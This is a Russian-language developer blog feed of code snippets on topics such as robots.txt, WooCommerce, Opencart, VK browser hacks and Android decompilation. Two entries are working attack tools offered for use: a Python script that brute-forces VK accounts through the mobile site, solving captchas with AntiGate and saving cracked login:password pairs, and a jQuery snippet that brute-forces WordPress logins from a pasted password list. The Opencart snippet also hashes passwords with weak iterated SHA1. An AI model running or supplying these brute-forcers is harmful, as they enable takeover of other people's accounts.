Разные robots.txt для HTTP и HTTPS версий сайта

В .htaccess добавляем

1
RewriteRule ^robots.txt$ robots.php [QSA]

В robots.php пишем следующее:

1
2
3
4
5
6
7
8
9
10
<?php
header('HTTP/1.1 200 OK');
header('Content-Type: text/plain');
if(isset($_SERVER['HTTPS'])){
    echo file_get_contents('robots_ssl.txt', true);
}
else{
    echo file_get_contents('robots.txt', true);
}
?>

Подключение сайта к Эвотор через API


Всем желающим подключить кассу Эвотор к своему сайту — милости прошу на сайт разработки проектов, плагинов и сниппетов.
Кусочек кода по интеграции кассы с сайта на основе WordPress и Woocommerce:

1
2
3
4
5
6
7
8
9
10
11
<?php
add_action( 'woocommerce_order_status_completed', 'evotor_payment_complete' );
function evotor_payment_complete( $order_id ){
   $order = wc_get_order( $order_id );

    if( $order ){
        require_once __DIR__.'/evotor/sender.php';
        addGoods($order);
    }
}
?>

Скрипт для простого перебора вк через мобильную версию

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
#! coding: utf8
import grab,re,urllib2
from antigate import AntiGate
from grab import GrabTimeoutError
from time import sleep
import sys,os

cap_key = '' #Ваш ключ с антигейт

def anti(key, file): #Получение решения капчи с антигейт
    try:
        try:
            data = AntiGate(key, file)
            return data
        except KeyboardInterrupt:
            print "Завершение"
    except:
        anti(key,file)
def save(url, file): #Скачивание файла по урл
    f = urllib2.urlopen(url)
    f2 = open(file, 'wb')
    f2.write(f.read())

def cap_solve(img):
    save(img, 'captcha.jpg')
    key = anti(cap_key, 'captcha.jpg')
    return key

def brute(login,passwords,save):
    o = open(save,'a')
    o2 = open(passwords,'r')

    try:
        int(login)
        prefix = True
    except:
        prefix = False
    g = grab.Grab()
    g.go('http://m.vk.com')

    for i in o2:

        i2 = i.rstrip('\r\n')
        g.doc.set_input('email',login)
        g.doc.set_input('pass',i2)
        g.doc.submit()

        if g.doc.text_search(u'captcha'):
            c1 = re.findall('"(/captcha.php[^"]*)"', g.response.body)[0]
            c2 = 'http://m.vk.com' + c1
            key = cap_solve(c2)
            g.doc.set_input('email',login)
            g.doc.set_input('pass',i2)
            g.doc.set_input('captcha_key',str(key))
            g.doc.submit()
            print "cap"

        if 'Подтвердить' in g.response.body:
            if prefix:
                prefix1 = g.doc.rex_search('<span class="field_prefix">\+[0-9]*</span>').group(0)
                prefix2 = g.doc.rex_search('<span class="field_prefix">&nbsp;[0-9]*</span>').group(0)
                pre1 = re.findall('[0-9]{1,}', prefix1)[0]
                pre2 = re.findall('[0-9]{1,}', prefix2)[0]

                login = login.replace(pre1,'')
                login = login.replace(pre2,'')

                g.set_input('code', login)
                g.submit()
                print login + ':' + i2 + '--success'
                o.write(login + ':' + i2 + '\n')
            else:
                o.write(login + ':' + i2 + '\n')
        else:
            if g.doc.rex_search('<title>[^>]+</title>').group(0) == '<title>Login | VK</title>':
                print login + ':' + i2 + '--fail'
            else:
                print login + ':' + i2 + '--success'
                o.write(login + ':' + i2 + '\n')
    o.close()
    o2.close()

def main():
    try:
        argv1 = sys.argv[1]
        argv2 = sys.argv[2]
        brute(argv1,argv2,"log.txt")
    except IndexError:
        print "Неправильные параметры"

    except IOError:
        print "Нет такого файла"


if __name__ == "__main__":
    main()

WordPress Login form brute force in jQuery

1) Add jQuery:

1
2
3
4
var script = document.createElement('script');
script.src = 'https://yastatic.net/jquery/2.1.3/jquery.min.js';
script.type = 'text/javascript';
document.getElementsByTagName('head')[0].appendChild(script);

2) Create textarea field and paste your passwords list:

1
$('body').prepend('<textarea id="pwds"></textarea>')

3) other part of code just paste and run:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
var passwords = $('#pwds').val().split(/\r?\n/);

$('#loginform').submit(function(){
    var data = $(this).serialize();
    var pwd = $('#user_pass').val();
    $.post('/wp-login.php', data, function(datas){
        if(!datas.match(/Incorrect password/)){
            console.log('Correct password: '+pwd);
        }
    })
    return false;
});

$.each(passwords, function(k, v){
    $('#user_pass').val(v);
    $('#loginform').submit();
});

Enjoy and be ready to be banned by hoster 😉

Иконки всех покемонов

На «пике» Pokemon Go кто-то захочет украсить свой сайт/документацию иконками этих самих покемонов.
На просторах уже было найдено решение:
1) Скачиваем архив

2) подключаем скрипты в наш проект

1
2
<script src="../../webcomponentsjs/webcomponents-lite.js"></script>
<link rel="import" href="../poke-icon.html"/>

3) «вызвать» покемона можно либо по номеру, либо по имени

1
2
<poke -icon nr="24"></poke>
<poke -icon name="PIKACHU"></poke>

Continue reading «Иконки всех покемонов»

Учет времени при разработке [WakaTime]

При разработке, особенно когда вы фрилансер — управление и учет затраченного времени очень важен. Важен для новичков, т.к. поможет в дальнейшем проще проводить оценку проектов с точки зрения времени и соответственно и денежного вознаграждения.
Речь пойдет о плагине под названием WakaTime, который можно внедрить практически в любой, популярный, текстовый редактор и IDE. Нас скрине показаны уже имеющие поддержку и те, которые в ближайших планах на реализацию (выделены серым).
Continue reading «Учет времени при разработке [WakaTime]»

Snippet для сброса пароля в Opencart

Изменения пароля в Opencart с рандомной солью и без использования морально устаревшего MD5 в хэшировании.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
$pwd  = 'test'; // change to your password

function rand_func($len, $range){
    $pwd = ""; $size =  count($range)-1;
    for($i=1; $i<=$len; $i++){
        $pwd .= $range[mt_rand(0, $size)];
    }
    return $pwd;
}

$alphnum = array_merge( range('A', 'Z'), range('a', 'z'), range(0, 9));
$salt = rand_func(9, $alphnum);



$hash = SHA1($salt . SHA1($salt . SHA1($pwd)));
echo $pwd,";",$hash,";",$salt;

Уведомление о наборе текста в ВКонтакте

[Dirty Hack]
Работать будет на страницы https://vk.com/im, либо открытого диалога. Писалось под Chrome Console, может кто-то разовьет в приложение или т.п.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// by: Dominus
// CopyLeft
var script = document.createElement('script');
script.src = 'https://yastatic.net/jquery/2.1.3/jquery.min.js';
script.type = 'text/javascript';
document.getElementsByTagName('head')[0].appendChild(script);

function type_checker() {
  if ($('.dialogs_typing_box').height()) {
      var notify = new Notification($('.dialogs_info a', $('.dialogs_typing_box').parent().parent()).text(), {
          icon: $('img', $('.dialogs_typing_box').prev().prev('.dialogs_photo')[0]).attr('src'),
          tag: "vknoty",
          body: "Вам печатает..."
      });
      setTimeout(function() {
          notify.close();
      }, 5000);
  }
}

type_checker();
setInterval( function() {
    type_checker();
}, 5000 );

Cryptocat [Android version]

Cryptocat for android
Cryptocat for android

11 декабря свет увидели сорцы Cryptocat под Android. Пока еще нет какого-то официального билда, но можно собрать и самому.
Что я и сделал на этих выходных. Работает пока конечно сыро, нет фингерпринта для приватных бесед. Бывает вылетает при выходе из приложения.
Кому интересно потестить — приложу готовый .APK.  Нужен android версии не ниже 4й.

Cryptocat.apk

UPD 15.12.2013: Пофиксили мелкие баги, добавили фингерпринты.

Cryptocat.apk

UPD2 06.01.2014 

Cryptocat

Декомпиляция Android приложений [note]

Для декомпиляции приложения под Android понадобиться две программы:

1) dex2jar — http://code.google.com/p/dex2jar/ — преобразования байт-кода dex VM Dalvik в JAR

2) и сам декомпайлер java — http://java.decompiler.free.fr/?q=jdeclipse (плагин для Eclipse)

Добавление grease monkey script в google-chrome

Скрипт по мотивам обзора на hack5.

1
2
3
4
5
6
7
8
9
10
11
12
// back2.user.js
(function () {
    var newSS, styles='* {background:black !important; color:gray !important} :link, :link * {color:#CCFF33 !important} :visited, :visited * {color:#CCFF33 !important}';
    if(document.createStyleSheet) {
        document.createStyleSheet("javascript:'"+styles+"'");
    } else {
            newSS=document.createElement('link');
            newSS.rel='stylesheet';
            newSS.href='data:text/css, '+escape(styles);
            document.getElementsByTagName("head")[0].appendChild(newSS);
    }  
})();

Сохраняем данный скрипт в удобное место (имя скрипта может быть любым, но нужно соблюдать шаблон имя_скрипта.user.js), в google-chrome жмакаем Ctrl+O открываем наш скрипт, подтверждаем и устанавливаем. Приведенный скрипт — всего лишь скелет, на который очень просто будет добавить код и сделать с него человека.
Continue reading «Добавление grease monkey script в google-chrome»

Частотное распределение букв в украинском языке

Для подсчёта выбрал 4 украинских автора,  на сайте lib.ru (не все подходили тексты, т.к. в большинстве некторые специфические буквы были заменены на знаки вопросов или латинские аналоги i).
В PDF таблица распределений по текстам и их среднее значение. Всё просто и банально чтоб описывать более.

freq_ukr
freq_ukr